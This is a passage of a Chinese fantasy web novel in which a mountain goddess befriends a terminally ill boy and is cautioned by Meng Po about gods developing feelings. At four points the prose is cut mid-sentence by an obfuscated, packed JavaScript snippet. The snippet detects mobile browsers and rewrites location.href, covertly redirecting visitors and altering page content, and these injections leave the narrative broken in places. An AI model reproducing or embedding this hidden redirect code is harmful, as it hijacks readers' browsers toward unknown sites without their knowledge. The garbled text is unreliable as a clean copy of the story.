若是放在寻常孩子身上，遇到这样的事肯定会惊慌哭闹，可林长青却是个异类，他没有哭也没有着急，反而兴致勃勃的在森林里玩乐起来，一边玩一边走，好像根本不知道危险。 眠云注视着这个孩子，他的生平，过去和未来都在她眼前浮现，这是神的能力，既知过去也知未来，这世界上很少有她不知道的事。 “林长青。”眠云开口，却只叫了对方的名字。 林长青骤然被叫了名字也不怕，他抬起头，锁定叫他名字的人，迈着小短腿就跑了过去。 “这位姐姐，你知道我的名字？”林长青好奇的看着眠云“那姐姐，你能送我回家吗？我迷路了。” “……你胆子倒是大，”眠云沉默半晌才开口“不怕我？” 与百年之后除了头发的颜色已经与人类别无二致的眠云不同，现在的眠云虽容颜虽未变，长发却是细长的树藤构成，让人一看就知道，她是山中鬼魅之物，而非人类。 “姐姐的头发像藤蔓一样，”林长青此时还小，词汇量有限，他想了半天才憋出一个词“就是……就是让人一看就觉得很厉害。” 眠云沉默下来，她并不擅长对付这种很爱说话的人，所以她强行跳过这个话题，直接说道“你的寿命不长，最多到二十五岁，你就会死。” “我知道，”林长青坦荡点头，他眼睛弯成了月牙，丝毫没有不高兴的意思“姐姐是想让我去看大夫吗？谢谢姐姐，我每天都有乖乖吃药哦。” “……不是，”眠云看向他，神色中满是漠然“你即使吃了药，也活不过二十五岁，命数如此。” “没关系呀，”林长青还是笑着的，他似乎格外喜欢笑“活一百岁是福气，只活一岁也是福气，这没什么大不了的。” 这孩子，到底是傻，还是豁达呢？ 眠云被带偏了思维，一时没有反应过来，过了一会儿她才说道。 “我可以替你续命，当然是有条件的，你的寿命没有了，必须由其他人给你，给你的人需是自愿的，且无法一换一，最多……三换一。” 命是世界上最珍贵的东西，所以寿命无法凭空产生，只能向别人借，一般来说眠云都会提出四换一或五换一，毕竟三换一是天道的极限，如果三换一她相当于白干活。 算了，这个小孩她看着还算顺眼，白干就白干吧。 “嗯……谢谢姐姐的好意，但我不会这样做的。”林长青摇摇头“愿意借我命的人，一定是很爱我的，我又怎么能让爱我的人为我牺牲呢？” “你确定吗？”眠云依旧面无表情，声音也没有丝毫波澜“这是你唯一活下去的机会，如果你今天离开，那在二十五岁之前你就一定会死。” “嗯，”林长青点头，他有些不好意思的说道“对了，姐姐，我可以在这里玩儿一会儿吗？姐姐这里太漂亮了，就像神仙的花园一样。” 眠云愣了一下，这种要求她还从来没听过，她脑子里思考着这个算不算愿望，面上却没有显露出任何神情，只是缓慢的点了点头。 岐山没有四季，无论何时都是温度最适宜的时候，树木常青，花也是常开不败，却从没有人欣赏过这般美景。 毕竟能来到岐山的人，都会纠结于该不该许愿和该许什么愿望，谁会在乎这里的花草生的好不好呢？ “姐姐！”不过一会儿，林长青就跑出来，他手里捧着一朵花，努力举到眠云面前“送给姐姐，谢谢姐姐允许我在这儿玩。” 眠云缓缓睁开眼睛，她当然知道林长青在干什么，身为岐山的山神，山中的一草一木她都知道，自然也知道，这个孩子废了很多力气才摘到了这朵长在树上的花。 “你自己留下吧，”眠云语气淡淡“你不是很喜欢它吗？” 眠云虽然是山神，但她并不喜欢花花草草，神明没有偏爱之心，花对她来说也没什么意义。 “因为我很喜欢，所以我要把它送给姐姐啊，”林长青还是努力的举着花“这朵花很神奇，是长在树上的，姐姐觉得它好看吗？” “……谢谢，”见林长青没有收回去的意思，眠云伸手接过花，一颗淡绿色的光点没入林长青眉心“这是……我给你的报酬，能让你身体好受一些。” 从命理上讲，林长青是典型的短命相，当然，如果按照世俗意义上说，他就是先天性心脏病，没办法治愈。 “姐姐真是个大好人，”如果换了大人，可能会怀疑一个光点怎么能治病，但身为小孩子，林长青对此深信不疑“姐姐，我要回家了，下次我还可以到姐姐这里来吗？” “不可以，”眠云面无表情的摇头“岐山是特殊位面，绝大多数人无缘得见，哪怕是有缘人，恐怕一辈子也只能来一次。” 毕竟人类没有跨越和寻找位面的能力，只能靠位面短暂交叠的时候偶然进入，哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153416|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕岐山特殊些，位面交叠的情况也并不常见，更别说连续遇见两次了。 “那姐姐就来找我吧，”林长青笑的灿烂“我家就住在临安城，姐姐可以来找我玩儿呀。” “……我不能出去，”第一次收到这种邀请的眠云觉得有些新鲜，难得多解释了几句“我是岐山的山神，无法离开岐山。” “姐姐……会寂寞吗？”林长青听到眠云这么说，脸上的笑容收敛了些许“姐姐这里很好，很漂亮，但世界那么大，姐姐一个人待在这里，总会觉得寂寞吧？” “不会，”眠云轻描淡写的看了他一眼“寂寞是人类才有的东西，我不是人类，不会有这种感觉。” “那姐姐是神仙？”林长青找了个木桩坐下，晃荡着两条小短腿“神仙也应该有朋友吧？” “我没有朋友，也没见过其他神仙，从诞生起我就待在这里，以后也会一直在这儿。”眠云有些不耐烦，她不喜欢自来熟，尤其是话多的那种。 “我明白了，”林长青恍然大悟，他像是没注意到眠云语气里的冷淡，右手握拳敲了一下左手掌心“因为姐姐一直是一个人，所以不明白寂寞是什么感觉。” “……你不是说要回家吗？”眠云无言以对，她向前走了两步“我送你回去。” “姐姐在转移话题，”林长青人小却不傻，他连忙从树桩上跳下来跑了几步，远离眠云“姐姐讨厌我吗？” “……不。”眠云感觉有点儿心累。 “姐姐如果不讨厌我的话，为什么不让我过来？”林长青黑葡萄一般的大眼睛里闪过委屈“我下次来会给姐姐带礼物的，真的，我很乖，不会给姐姐添麻烦。” “……” 眠云无法反驳，她只好截下自己的一小节头发，将细藤蔓似的头发编成草环，递给林长青。 “有了这个，你就可以回到这儿，”眠云说罢觉得不妥，又补充了一句“最好不要经常来。” 她实在不想经常接待一个好像十万个为什么成精似的小孩。 “我知道了，”林长青笑眯眯的将草环戴在手上“我会经常来看姐姐的，对了姐姐叫什么名字呀？” ……她说的是不要经常来，而不是经常来吧？ “眠云，”眠云有几分郁闷，她不是爱说话的性子，或者说神明大多如此“不要总来打扰我。” “好的哦，”林长青歪了歪头“我会记得来找眠云姐姐的，下次我给姐姐带……嗯……现在说出来就没有惊喜啦，姐姐等着我吧，我保证姐姐会喜欢我的礼物的。” 真的，这个孩子是真的有点儿烦。 眠云主动上前两步，轻柔如云雾般的长裙随着她的动作微微摆动，她伸手点在了林长青眉心，对他说道“我不需要陪伴，如果可以的话，你永远都不要再过来了。” 说罢，眠云也没有再给这个烦人小孩说话的机会，直接把他推出了岐山。 74. 第2章 眠云本以为这只是个意外，没想到五天之后，她又在岐山见到了那个叽叽喳喳的孩子，还有一只比他更吵的绶带鸟。 “姐姐——”林长青看到眠云兴奋的摆手“我在这儿——” “我知道，”眠云几乎想像个人类一样叹一口气“岐山范围内发生的所有事，我都知道。” “姐姐好厉害，”林长青眼睛亮晶晶的，像献宝一样将那只绶带鸟捧到眠云面前“姐姐你看，这种鸟叫绶带鸟，是不是很漂亮？” “是，”眠云自然知道这是什么，但她还是点头道“挺好看的。” “这只绶带鸟是爹爹送给我的，我想把它送给姐姐，”林长青轻轻摸了摸绶带鸟的羽毛“姐姐喜欢吗？” “……你不应该把它送给我，”眠云沉默片刻，她脑子里没多少委婉的概念，基本是想到什么就说什么“绶带鸟，也叫寿带鸟，在人类世界有福寿双全之意，这应该算是你父亲给你的祝福吧。” 虽然这个孩子无论从哪个角度看都注定早死，但做父母的，总归是希望孩子能够平安健康。 “我知道，”林长青很干脆的点了点头“我读过很多书，知道绶带鸟是什么意思，但我还是想把它送给姐姐。” “为什么？”眠云这下是真情实感的疑惑了“我并不需要它。” “我虽然还小，但也知道，一只鸟是带不来健康长寿的，绶带鸟所带来的，只有祝福。”林长青笑容不减，他是个聪明的孩子，怎么会真的相信绶带鸟能带来福寿“我把它送给姐姐，它陪在姐姐身边的时候，姐姐就当是我还活着吧。” “……你想要什么？”眠云伸手，让绶带鸟站在她手上，那鸟倒是半点都不怕人，亲昵的用脑袋蹭了蹭眠云的手指。 “姐姐是想给我回礼吗？”林长青蹦蹦跳跳的跑到眠云面前“可是回礼要姐姐自己想啊，如果我提前知道的话就不好了。” “不是回礼，”眠云垂下眼睛看着林长青“是交易，你送给我这个鸟，可以向我提一个要求。” “绶带鸟是我送给姐姐的，”林长青摇摇头“这是礼物啦，不是交易，姐姐完全不用想着要给我什么，因为礼物就是免费的。” “世界上没有什么东西是免费的，”眠云依旧面无表情“你尽管说就是。” “那笑一笑吧，”林长青抬头露出了一个大大的笑容“姐姐笑一笑吧，我送姐姐礼物，就是为了让姐姐开心的。” 眠云愣了一下，从来没有人对她提过这种要求，她尝试弯了弯唇角，却怎么也笑不出来。 “我……”眠云不知该说些什么，最后只好说道“我会遵守交易内容，练习一阵子，然后笑给你看的。” 这话说的略显怪异，毕竟笑这种东西人天生就会，哪里还需要练习？ 可眠云作为神族，虽然拥有与人类类似的躯壳，却没有人类应该有的喜怒哀乐，这千年间她从未笑过，也没有做出过任何表情，如今骤然让她笑，她还真的做不来。 “姐姐加油！”林长青倒是很捧场，他拍拍胸脯道“等我下次来的时候，姐姐一定能做到啦！” 眠云郑重点头“当然，我答应过的事，就一定会做到。” 不管这个约定有多么荒谬，眠云还是认认真真的对着镜子练习微笑，这个动作很简单，可眠云却总觉得有哪里不对。 好像……她笑的没有林长青那么灿烂。 “哎呀，”一道陌生的女声传来“原来是新诞生了一个山神啊。” “你是……”眠云迅速转头“孟婆？” 虽然眠云从未见过孟婆，但神与神之间是有感应的，哪怕没见过，也能认出彼此。 “你好啊，小山神。”孟婆大大方方的坐下“你叫我孟姜就可以了。” 与传统神话中老婆婆形象的孟婆不同，眠云面前的孟姜是个二十多岁的年轻女子，且身量窈窕婀娜，面容端庄秀丽，是个不可多得的美人。 “眠云，”眠云说出自己的名字，随后又道“孟婆缘何前来？” 和人类不同，神与神之间的关系很淡漠，甚至大部分神哪怕知道对方也一辈子不会见面，她和孟姜道不同，对方来她这里做什么？ “没什么事，就是过来看看。”孟姜倒也坦荡，直接把事情的经过说了出来“我在人间看到了一个小孩，他身上竟然有一股陌生的神力，我想着这神仙我也认识不少，神力如此陌生，应当是我没见过的神，合该来看看才是。” “岐山没什么好招待的，”眠云并非讨厌孟姜，只是实话实说“如果只是来看一眼的话，你该走了。” “这个不急，”孟姜笑着摇摇头“小山神，你应该还没有诞生多久吧？” 眠云点头，毕竟神无岁月，在她的记忆里，就是活了上百万年的神也不是没有，像她这样的千岁小神，自然算是年轻的了。 “年轻的小神啊，”孟姜语气里有几分感慨“多出去走走看吧，人间很大，你会有许多感悟。” “我出不去，”眠云也没有隐瞒的意思，她撩起自己的长发，示意孟姜去看那去山脉相连的头发“也不知道该怎么出去。” 每个神都有自己独特的地方，就像孟婆汤只有孟婆能做一样，眠云自诞生起便被束缚在岐山，不过她不觉得这有哪里不好，毕竟她对外面也没什么兴趣。 “这样啊，”孟姜没有说话，只是摇摇头对眠云说道“小山神，我们还会见面的。” 眠云不知道孟姜是什么意思，好在她也不在意，只随便点了点头，便又对着镜子练起笑来。 “你在做什么？”孟姜本打算离开，但看到眠云这么古怪的行为顿时来了兴趣，她凑到眠云身边说道“表演川剧变脸？” “不，”眠云仍对着镜子“我依靠愿力修行，所以要不断和人做交易，实现别人的愿望，昨天有一个人的愿望是让我笑一笑，现在我正在尝试。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161011|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可惜尝试的结果不算太理想，镜子里的她怎么看怎么奇怪。 “我看看？”孟姜一扬眉，觉得这个愿望不同寻常。 眠云没有反驳，她做出了一个笑的表情，又问道“你觉得是哪里出了问题？” “……因为你根本没笑啊，”孟姜可比眠云年纪大上几十倍，这点小事一看就知道“笑是一种情绪，而非动作，你只是做出了一个表情，却并没有情绪上的变化，当然会显得很奇怪。” “情绪？”眠云似是有些不解“我知道这个词，可神不是生来就没有这个吗？” 神生来心思清净、澄澈，只有这样才不会因为人间疾苦而堕落，毕竟神的力量太强了，若是意气用事，整个人间都将化为炼狱。 “你应该试一试的，”孟姜笑着说道“神道无情，可神也不一定就真的无情，只要能控制住自己不作恶，那拥有喜怒哀乐又能如何呢？” 眠云沉默下来，不是她觉得孟姜说的不对，而是她根本不知道应该如何感受到情绪。 直到林长青再次进入岐山，眠云都一直在思考这个问题，看着眼前这个年幼的人类，她觉得人类这种情感丰富的种族或许可以给出她想要的答案。 “林长青，”眠云斟酌着开口“你是怎么……开心的呢？” 笑对应的情绪就是开心，她希望能笑，所以要问如何开心，应该没什么问题吧？ “哎？”林长青眼神里透露着疑惑，但他还是答道“这个……有很多种令人开心的方法啊，姐姐为什么要问这个？” “嗯，因为我感觉不到情绪，所以问一问。”眠云依旧很平静的说道“你是怎么让自己开心的？” “嗯……我不开心的时候就会去找朋友一起玩儿，我有很多朋友的，姐姐也是我的朋友。”林长青露出了一个大大的笑脸“姐姐和我一起玩儿吧？这样我们就都能开心啦！” “好，”眠云点点头“你想玩儿什么？” “捉迷藏怎么样？”林长青兴致勃勃的提出了自己最常玩儿的游戏“我来抓姐姐，或者姐姐抓我？” “在岐山没有我不知道的事，”眠云很诚实的将情况说了出来“无论你在哪儿，我都能第一时间找到你，如果我想躲，你也不可能会找到我。” 别说林长青这么大一个人了，就算是一滴水，一粒灰，只要范围在岐山，她都能立刻找到。 “嗯……这个确实有点儿麻烦，”林长青想了想说道“姐姐可以让自己感觉不到岐山里发生了什么吗？这样的话，我们就可以一起玩儿了。” “……可以。”眠云有几分犹豫，她是岐山之灵，掌握山中的一切对她来说就像掌握自己的身体一样，骤然抛弃自己身体的掌控权自然是很不舒服的。 但她是个守承诺的人，既然答应了林长青要笑一笑，就要尽最大努力去做，哪怕是抛弃对岐山的掌控权去和一个小孩子玩捉迷藏，她也要试一试。 75. 第3章 依靠人类的眼睛去看的感觉，很怪。 眠云信守承诺，没有用任何人类以外的能力去找林长青，这对她来说是个新奇的体验，毕竟人类眼睛能看到的范围有限，身体也无法快速移动，想要在这么大的地方找到一个人，确实不太容易。 眠云走过铺满落叶的土地，树叶发出咯吱咯吱的响声，她颇为新奇的踩了踩，以前她也知道地上有落叶，也知道落叶踩上去会响，为什么没有像现在这样觉得新奇有趣呢？ 岐山虽说是山，却不止一座山，连绵起伏的群山之中也有少部分栈桥亭阁之类人工修建的痕迹。 眠云虽然没有去过人类世界，却在到过岐山的人类记忆里看到过这些东西，她将亭台楼阁照搬到岐山，却不知它们有何意义，直到她以人类的步伐去走，她才恍然发觉，原来栈桥不仅仅是装饰，它缩短了山与山之间的距离。 就这样一路走，一路看，眠云竟觉得自己再熟悉不过的岐山也变得新奇起来，不知不觉，天色渐暗，要不是林长青从她身后忽然出现，眠云这个捉迷藏新手差点儿忘了还要找人。 “我输了，”眠云很爽快的承认自己没找到人“嗯……你们人类如果输了的话都会有惩罚吧？你想要什么？” “不不不，不会有惩罚这么严重啦！”林长青连忙摆手，小脑袋摇的像拨浪鼓一样“玩儿游戏就是为了开心啊，姐姐今天开心吗？” “应该是开心的吧？”眠云有些不确定的摸了摸自己心脏的位置“我发现岐山好像和之前不太一样了，心里有种奇怪的感觉，应该算是开心吧？” “没关系，”林长青抿嘴笑了笑“我和姐姐是好朋友，如果姐姐不喜欢玩儿捉迷藏的话，我还有好多好多的游戏可以和姐姐一起玩儿。” “好。”眠云郑重点头，她蹲下身，手指拂过林长青手腕上的藤蔓，藤蔓顿时玉化，成了一个翠色绞丝镯“这个，就是你进出岐山的凭证，有了它你随时都可以来找我。” “真的吗？”林长青显然很高兴，他晃了晃手上的镯子，冲向眠云，在她脸上亲了一口“姐姐真好，我最喜欢姐姐了！” 眠云身体僵了一下，这还是第一次有人和她离的这么近，但看在他们是朋友的份上，眠云最终还是把到嘴边的话咽了下去。 “我……可以让你不那么难受，却没办法治好你的病。”眠云有些不自在的开口“我并非为难你，而是生命是这世间最难得的东西，所以寿命只能用寿命来换，哪怕是我也做不到凭空给人寿命。” 眠云虽然可以在从误入岐山的人那里换取各种例如健康、美貌、财运之类的东西，但这些东西到了她手里就只能化作她修行的能量而已，没法再度给予旁人。 如果眠云自己有寿命的话，她倒是不吝于分给林长青，只是神明的无限寿数是不能借给旁人的，毕竟神的寿命本就没有一个具体数字，若是给了旁人，那她自己的寿数要怎么算？ “姐姐本来就不用因为这种事向我解释啊，”林长青此时只有六岁，他的声音清脆又利落，还带着某种理所当然“是我天生身体不好，又不是姐姐的错，姐姐只是没办法救我而已，如果非要说是谁错了的话，那也是我的错，我让姐姐担心了。” “不是，”眠云并非巧舌如簧的人，或者说她大多数时候都不太擅长说话，她缓慢的说道“生病并非你的错，只是……天意如此，只能承担。” 眠云好歹活了一千年，见过的人不少，她见过幸运到根本不需要许愿的人，也见过不幸到连愿望都拯救不了的人，这与善恶无关，命运就是如此残酷，人们只能承担。 时光转瞬即逝，一眨眼的时间，昔日叽叽喳喳的孩童已经长成了阳光俊秀的少年，林长青笑容灿烂，眼睛亮晶晶的，站在那里好似一棵竹子，挺拔笔直，让人移不开视线。 “姐姐！”见到眠云走过来，林长青像以前一样朝着眠云挥手跑来，他笑着说道“姐姐，我前一段时间去考试了，好久都没来看姐姐，姐姐想我了吗？” “嗯，”眠云低低的应了一声“也不算久。” 神无岁月，神仙哪怕千百年不见面都是正常的，更别说林长青其实只是消失了月余而已。 “但是我想姐姐了，”林长青依旧像个孩子那样笑着凑近了眠云“姐姐——，可不可以想我一下？” “……我尽力。”眠云不知道什么是想，或许就是在见不到的时候每天都要念一念对方的名字？这样的话和诅咒也差不多吧？ “好。”林长青笑眯眯的点点头“姐姐猜一猜，我考中了没有？” “……不用猜，我知道。”眠云停顿了一下说道“你很厉害，很会读书。” 六岁的林长青都十分聪慧敏捷，更别说是十六岁的他了，这样好的孩子，能考中也是正常的吧？ “姐姐这是作弊，”林长青拉长音调控诉“我本来还想着等放榜了第一时间告诉姐姐这个好消息，没想到姐姐早就知道了。” “嗯，”眠·不解风情的直女·云诚实的说道“你还没考的时候，我就知道你能考中了。” 虽说算人不算己，自从答应和林长青做朋友以后，他的很多未来眠云都看不清了，但考试能不能成功这种小事她还是可以轻松看到的。 “姐姐，最近有一件事我不知道该怎么办，”林长青单手支着脑袋，有些苦恼的向眠云说道“爹爹想让我成婚，我该怎么拒绝？” “为什么要拒绝？”眠云说话时仍旧没有什么太大的表情“我记得对于人类来说，到了一定年纪成婚繁衍后代是很自然的事，你不想成婚吗？” “嗯，”林长青仔细观察着眠云的表情，见眠云真的没什么反应后，心情有些低落“我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165616|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想和一个不爱的女子成婚，姐姐，你觉得呢？” “人类结婚是为了繁衍后代，男人娶妻是为了确保女人肚子里的孩子是自己的，和爱不爱有什么关系？”眠云也见过许多夫妻，这其中无情的总比有情的多，有些夫妻即使有情意也抵不过利益，由此可见，人类的情意没什么大用途。 “姐姐是这样想的吗？”林长青表情彻底垮了下来，他像一只被雨淋湿了的猫咪一样蹦到眠云手边“姐姐，你见过相爱的人吗？” “……应该见过吧？”眠云想了一会儿“我记得有一个男人到我这儿来许下复活他妻子的愿望，可人死不能复生，哪怕是神也无法逆转生死，所以他自己就选择了死亡来陪伴他的妻子。” “……这样真的好吗？”林长青更凑近了眠云一些“如果是我死了的话，我会更希望我的爱人能活下去。” “谁知道呢，”眠云轻描淡写的说道“或许对于他来说，这个没有他妻子的世界让他觉得痛苦，我并不理解人类的情感，对他的行为也很难评价，只能说这是他的选择，或许他觉得对吧。” “姐姐，神都是没有情感的吗？”林长青脑袋已经快贴到眠云的肩膀上了，他问道“或许、会有例外呢？” “不是不能有，而是没必要有。”眠云伸手推了推林长青的肩，她感觉这孩子都快缠到她身上了“神看似强大，却也有诸多限制，如果有了在乎的人，难免会心生贪念，做出一些不该做的事。” “不该做的事？”林长青有些疑惑的看着她。 “总归逃不过逆天改命之类的，”眠云又上手推了两下林长青“毕竟人类寿数有限，哪怕非人之物也有死亡的一天，若是真爱上了，神自然不可能眼睁睁看着爱人死亡，如此想来，做出些有违天道的事也可以理解。” “……这样啊，”林长青微微垂下头，顺从的从眠云身边离开“的确，神的岁月太漫长了，若是知晓情感，岂不孤独？” “这个我无法回答你，”眠云侧过头，不知道是不是错觉，她总感觉林长青有点儿不对劲“毕竟神族中有人拥有情感，并觉得有情感挺好，有人没有情感，还觉得情感是个害人的东西，怎么想的神都有，所以我无法给你一个确切的答案。” “我知道了，”林长青笑了笑“其实我刚刚是开玩笑的，我这副身体大约过不了几年就撑不住了，若是娶了旁人家的姑娘，岂不是祸害了人家，成婚几年丈夫就死了，对那个姑娘来说也太残忍了些。” “的确是这样，”眠云点点头，随后她又稍稍皱了皱眉头“你……是不是觉得很难受？” 虽然不太懂人类，但眠云也知道生命进入倒计时对于绝大多数人类来说都是难以接受的，更何况她能感觉到，林长青好像真的有点儿情绪低落，虽说不太明显，但对比他以往高兴的样子，差别还是很大的。 76. 第4章 林长青走在街上，与昔日同窗好友打了声招呼，他向来是开朗热情的人，平日里亦是交友广泛，可以说在他的家乡，走几步路就能遇见他认识的人。 可今日拦在他面前的这个人，他还真不认识。 “姑娘，请问你有什么事吗？”林长青略显疑惑的打量着眼前的人“姑娘应当不是本地人吧？若是要问路的话，这附近我倒还算熟悉。” “不是问路，是问人。”孟姜嘴角沁着一抹笑意，她一手拿着油纸伞，笑问道“敢问公子可知，你们这鸾城竟有一与神为友的奇人？” “与神为友？姑娘说笑了，鬼神之说本就是无稽之谈，更遑论与神为友。”林长青表现的很自然，他无奈的笑了笑“姑娘怕不是被人骗了，才找到这里来的吧？” “果然心思玲珑，只是想骗过我还差了点儿。”孟姜失笑摇头“你刚刚从小山神那里回来吧？我是孟姜，凡人都叫我孟婆。” “孟姑娘，”林长青微微点头，他看了看周围又说道“姑娘来找我想来是有事，街上不好说话，不如姑娘与在下到旁边茶楼一聚。” “你们人类的规矩可真不少，不过这里确实不是说话的地方。”孟姜转身，裙摆划出一道弧线“走吧。” 今日下雨，茶楼生意不佳，林长青找了个安静的包间，又让小二上了一壶茶水，虽然知道对方恐怕不需要这个，他也依旧按照待客之礼待之。 “林长青，”孟姜抬眼打量着眼前的少年“你知道吗，其实神最初诞生之时就像一张白纸，什么情绪都没有，可若是与人类接触的多了，便会无可避免的沾染上人类的七情六欲，成为与人类相似的模样。” “……我虽不知道这件事，但我想这并不难猜。”林长青放下茶杯，略笑了笑“毕竟人类刚出生的时候也是什么都不懂，长大以后才有了许多想法。” “这不一样，”孟姜长叹一声“人生来就有喜怒哀乐，会哭会笑，神刚刚诞生时是没有情绪的，就像……十年前你见到的小山神那样。” “姑娘想对我说什么呢？”林长青眼神清明“我对眠云姐姐并无恶意，也不会对她不利，相反的，我很喜欢姐姐，虽然我只是个凡人，但我也会尽自己最大的努力去保护她的。” “神不怕虚情假意，因为任何谎言都逃不过神的眼睛。”说到这儿，孟姜反而更想叹气了“我知道你是真心的，或者说正因为你是真心的，我才更担心。” “神无情感，所有神族最初的情感都来源于模仿，也就是说，你待她如何，她便待你如何，你是真心的，她便会沾染你的情感，日子久了，难免……” 孟姜话说到一半，却忽然停下，最终只好含糊道“总之，对于神来说，最开始接触情感的时候如果对方太过真挚热烈，并不是什么好事。” 不说旁人，就连孟姜自己，当初不也一头栽进去了吗？ “并不是你不好，也不是拥有情感不好，”孟姜以一种过来人的身份感慨道“只是从无到有，再到失去的过程，哪怕对于神来说，也太难受了。” 如果神一直无欲无求，那么万万年的孤独寂寞就没法伤害到神，可若是神有了情感，又因双方寿命问题而生死两隔，那该是一件多么残忍的事。 “……我知道了。”林长青低低的应了一声，他没有多说什么，只是向孟姜点点头，转身离开。 “情爱一事最是恼人，”孟姜长叹一声，随后身影消失在原地“我也不例外。” * 最近岐山都没有什么人来，眠云也无事可做，她随手将旁边的柳条编成辫子打发时间，久而久之，岐山上的大部分柳树都长了满头的辫子。 “好久不见啊，小山神。”孟姜落在眠云旁边，她看了看被编成辫子的柳树，又看了看眠云道“你折腾这柳树做什么？” “……没什么，”眠云若无其事的将柳条放下“打发时间而已。” “你该不会感觉到寂寞了吧？”孟姜半开玩笑似的说道“现在你可比我上次来看你的时候像人多了。” “或许吧，”眠云看着自己的双手，并没有反驳“我不知道什么是寂寞，但岐山只有我一个人，的确太无聊了些。” “……我记得你不是有两只小宠物吗？”孟姜愣了一下，随即转移了话题“它们在哪儿？” “当然是在山里啊，”眠云莫名其妙的看了孟姜一眼“不过花花最近好像有点不对劲，我感觉它可能要化形了。” “醒醒，灵兽是不能化形的！”孟姜伸手拍了拍眠云的脑袋“它该不会是生病了吧？” “不是。”眠云摇头，花花生没生病她怎么可能看不出来，她将花花找来抱到孟姜面前“你帮我看看，花花是怎么回事。” “喵∽” 颜色斑驳的杂毛猫温顺的叫了一声，它的眼睛极其灵动，甚至还有着人类一般的困惑，一看就让人觉得不同寻常。 “这是……”孟姜神色怔愣了一下，她伸手摸了摸花花的脑袋“你的猫虽然不能化形，但它的确开了智，你再养一阵子，它估计就能陪你说话了。” “那应该算一件好事吧？”眠云将花花抱在怀里“岐山太安静了，花花能陪我说说话也是好的。” “小山神，你知道吗？”孟姜神色晦暗不明“像这种与神伴生的灵兽，一般会受到神本身的影响，按理来说，你的灵兽不会这么快开智，至少要再等个几千年才行。” “你想说什么？”眠云微微皱眉“你的意思是，花花开智是因为我？” “对，”孟姜眼睛一眨不眨的看着眠云“小山神，难道你自己没发现吗？现在你越来越像人，甚至有了近似于人类的情感，你的伴生灵兽和你是一体的，当你认为像人比较好的时候，它们自然会朝人类的方向进化，也就早早开了灵智。” “这没什么不好的，”眠云顺手给花花撸了两下毛“山中野兽固然无忧，却也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173118|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有思考，相比起来，我还是更希望它们能开智。” “可懂得多未必不是痛苦，”孟姜眼里有一丝惆怅“小山神，你知道我的故事吗？” 眠云迟疑了片刻，而后摇摇头，传承记忆告诉了她眼前之人是孟婆，但个人经历这种事她是看不到的。 “其实现在想来，也不是什么特别稀奇的事。”孟姜笑了两声“我本是天上的神官，后来以神魂下界投胎渡人，没想到，却爱上了一个凡人。” “然后呢？”见孟姜半天不说话，眠云也只好主动问道“然后怎么了？” “然后啊……”孟姜目光有些飘渺“命运无常，我们竟是连一世凡人夫妻都没做成，他年纪轻轻就死了，我后来去地府成了孟婆，每隔几十年，我都能看到他从桥上经过。” “为什么不去找他呢？”眠云的想法很简单“你应该可以四处走吧？只要找到他的转世，再和他在一起不就行了，何必只远远的看上一眼？” “不行啊，”孟姜笑了一下，只是这笑容尽是苦涩“我是孟婆，最清楚一碗孟婆汤下肚以后前尘往事尽散，他虽是他，却又不是他，他有他的人生，有他的爱人和朋友，我只是和他前世有交集的人而已。” “……” 眠云不知该如何回答，只好闭口不提，毕竟她没有这类经验。 “前车之鉴，后车之师，”孟姜看向眠云“听了我的事，你就没什么想法吗？” “什么想法？”眠云这下是真情实感的疑惑了，她偏了偏头说道“人类的前世今生不是同一个人？这件事我知道啊。” “……我是说林长青，”孟姜一时竟分辨不出眠云是不是在装傻“你不觉得，你跟他的经历与我很像吗？” “你的意思是，在林长青死了以后，我也要去看一看他的转世？”眠云想了一会儿，摇摇头道“可是我没办法出岐山，恐怕做不到去看他的转世。” “你不喜欢他？”孟姜感觉好像有哪里不对劲，她明明是来劝眠云的，可为什么最后想不开的反倒是她自己？ “喜欢啊，”眠云理所当然的说道“我和你不一样，如果我能出去的话，我会去找他的。” “……如果他爱上别人，不爱你了呢？”孟姜倒是真被眠云的回答勾出了几分好奇来。 